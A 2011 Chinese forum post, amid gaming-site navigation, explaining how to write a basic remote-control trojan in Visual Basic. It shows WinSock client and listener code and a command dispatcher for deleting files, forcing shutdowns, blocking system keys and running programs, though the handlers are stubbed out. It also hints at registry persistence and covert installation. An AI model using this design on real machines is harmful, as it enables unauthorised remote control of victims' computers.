今日发帖冠军:
👦
小强
🥇
2贴
登录
解锁个人详细信息
🥇冠军
👦小强
今日发帖:
2
,🏆
冠军王座
🏆
🥈亚军
👦打死打死打死
今日发帖:
1
, 距冠军差:
1
帖
🥉季军
👹tangxingyong
今日发帖:
1
, 距冠军差:
1
帖
🤖
[虚席以待]
等你来战!
🤖
[虚席以待]
等你来战!
🏆
【今日发帖-冠军】享受以下特权
🏆
🌈发帖100%获得以下积分:
【1粒金豆】+【1~3片龙鳞】+【1~3枚铜币】+【1点能量】
🌈在发帖冠军时间内获得【发贴冠军胸章】
🌈首页四格显示专属【动态彩虹昵称+发贴冠军图标】
🌈列表页内显示专属【动态彩虹昵称+发贴冠军图标】
🌈阅读贴内显示专属【动态彩虹昵称】
🌈阅读贴内显示专属【动态彩虹数字ID】
🌈阅读贴内显示专属【专属贴内背景】
🌈阅读贴内显示专属【冠军奖牌】
【今日发帖-亚军】享受以下特权
🌈发帖100%获得【0.5~1片龙鳞】+【1枚铜币】
【今日发帖-季军】享受以下特权
🌈发帖100%获得【0.1~1片龙鳞】
中华游戏网 CNYOUW - 玩你所玩,乐你所乐!
网游单机下载
手游资源下载
DNF单机版
高级搜索
个人中心
设置资料
我的主题
我的回复
设置头像
修改密码
绑定马甲
隐私设置
我的权限
好友近况
积分日志
退出登录
等级: 游客
帖子:
今日:
龙鳞: 片
铜币: 枚
能量: 点
最后位置:
最后IP:
3.133.143.61
用户名
UID
Email
注册新帐号
密 码
忘记密码?
下次自动登录
您好,欢迎来中华游戏网!
请登录
立即注册
购买会员
购买积分
购买胸章
版主签到
附件展区
积分兑换
统计排行
基本信息
管理团队
管理操作
在线会员
会员排行
版块排行
帖子排行
版主签到
一键打卡
每日打卡
龙鳞魔堡
金豆锻造
荣誉胸章
海底寻宝
非诚勿扰
虚拟刮奖
杂货道具
好友印象
心情随笔
中华银行
家族部落
积分兑换
图片上传
图片压缩
在线翻译
在线查毒
聊天交友乐园
作品交流
自拍自曝
DNF模型修改
精品资源下载
单机游戏下载
隐藏
快速浏览
站务综合
新手接待小屋
社区站务处理
社区广播公告
管理会议小屋
游戏综合区
网游单机下载
单机游戏下载
网游单机交流
单机游戏交流
休闲娱乐专区
聊天交友乐园
欢乐雷人恶搞
大杂烩
QQ技术交流
午夜恐怖奇谈
精品资源下载
电脑技术交流
自拍自曝
中华影院
音乐不断
动漫交流
图片设计
地下城与勇士单机版 [ 封 存 回 忆 ] 🪦
DNF单机版交流区
DNF单机版存档分享
DNF单机版DIY专区
DNF单机版2
中华游戏网
»
电脑技术交流
»
浅谈用VB编写木马程序
发表帖子
发表新帖
回帖
返回列表
No.223124
👹
494063570
登录解锁详细资料
[道具]
[正序]
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜楼主
浅谈用VB编写木马程序
写于:
中华游戏网-CNYOUW
👹会员:
494063570
🕘时间:2011-09-04 15:47 👀围观:
10908
人 💬回复:
0
人
---- BO又称“特洛伊木马”,是在美国一次黑客技术讨
论会上由一个黑客组织推出的。它其实是一种客户机/服
务器程序,其利用的原理就是:在本机直接启动运行的
程序拥有与使用者相同的权限。因此如果能够启动服务
器端(即被攻击的计算机)的服务器程序,就可以使用
相应的客户端工具客户程序直接控制它了。下面来谈谈
如何用VB来实现它。
该隐藏帖已经发布超过60天,已自动取消隐藏功能,无需回复即可查看!
----
使用VB建立两个程序,一个为客户端程序Client,一
个为服务器端程序systry。
---- 在Client工程中建立一个窗体,加载WinSock控件,
称为tcpClient,协议选择TCP,再加入两个文本框,用以
输入服务器的IP地址或服务器名,然后建立一个按钮,
按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("
请输入主机名或主机IP地址。
")
Exit Sub
Else
If Len(Text1.Text) > 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
---- 连接建立之后就可以使用DataArrival事件处理所收到
的数据了。
---- 在服务器端systry工程也建立一个窗体,加载
WinSock控件,称为tcpServer,协议选择TCP,在
Form_Load事件中加入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub
---- 准备应答客户端程序的请求连接,使用
ConnectionRequest事件来应答户端程序的请求,代码如
下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State < > sckClosed Then
tcpServer.Close‘检查控件的 State 属性是否为关
闭的。
End If '
如果不是,在接受新的连接之前先关闭此连
接。
tcpServer.Accept requestID
End Sub
---- 这样在客户端程序按下了连接按钮后,服务器端程序
的ConnectionRequest事件被触发,执行了以上的代码。
如果不出意外,连接就被建立起来了。
---- 建立连接后服务器端的程序通过DataArrival事件接收
客户机端程序所发的指令运行既定的程序。如:把服务
器端的驱动器名、目录名、文件名等传到客户机端,客
户机端接收后用TreeView控件以树状的形式显示出来,
浏览服务器端文件目录;强制关闭或重启服务器端的计
算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端
传过来的文件名或目录名,而删除它;屏蔽热启动键;
运行服务器端的任何程序;还包括获取目标计算机屏幕
图象、窗口及进程列表;激活、终止远端进程;打开、
关闭、移动远端窗口;控制目标计算机鼠标的移动与动
作;交换远端鼠标的左右键;在目标计算机模拟键盘输
入,下载、上装文件;提取、创建、修改目标计算机系
统注册表关键字;在远端屏幕上显示消息。DataArrival
事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
tcpServer.GetData strData
‘
接收数据并存入
strData
For i = 1 To Len(strData)
‘分离strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
‘
把命令ID号存入
mKey
‘把命令参数存入
strData
strData = Right(strData, Len(strData) - i)
Exit For
End If
Next i
Select Case Val(mKey)
Case 1
‘
驱动器名、目录名、文件名
Case 2
强制关闭服务器端的计算机
Case 3
强制重启服务器端的计算机
Case 4
屏蔽任务栏窗口;
Case 5
屏蔽开始菜单;
Case 6
按照客户机端传过来的文件名或目录名,而删除
它;
Case 7
屏蔽热启动键;
Case 8
运行服务器端的任何程序
End Select
End Sub
详细程序略。
---- 客户机端用tcpClient.SendData发命令。命令包括命
令ID和命令参数,它们用符号“@”隔开。
---- 另外,当客户机端断开与服务器端的来接后,服务器
端应用tcpServer_Close事件,来继续准备接收客户机端
的请求,其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
---- 这就是一个最基本的特洛伊木马程序,只要你的机器
运行了服务器端程序,那别人就可以在千里之外控制你
的计算机。至于如何让服务器端程序运行就要发挥你的
聪明才智了,在我的源程序中有一中方法,是修改系统
注册表的方法。
--- 成功的特洛伊木马程序要比这个复杂一些,还有程序
的隐藏、自动复制、传播等问题要解决。警告:千万不
要用BO程序破坏别人的系统。
中华游戏网 cnyouw.cn
打赏楼主
点评记录(共条)
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!
cnyouw.cn
评分选定
举报
回复
引用
发表新帖
回帖
中华游戏网
»
电脑技术交流
http://cnyouw.cn
您访问的链接为外部链接,请注意安全!
继续访问
取消访问
快速回复
限 160 字节
进入高级模式[可上传附件]
加粗
字体颜色
背景颜色
插入链接
图片
验证问题:
我们网站的中文名是什么? 正确答案:
Ctrl + Enter 快速发布
匿名回贴(消耗10铜币)
🤪
为防止个别捣乱会员恶意灌水
注册会员发帖量达到
20
贴
即可解锁快捷表情发送
上一个
下一个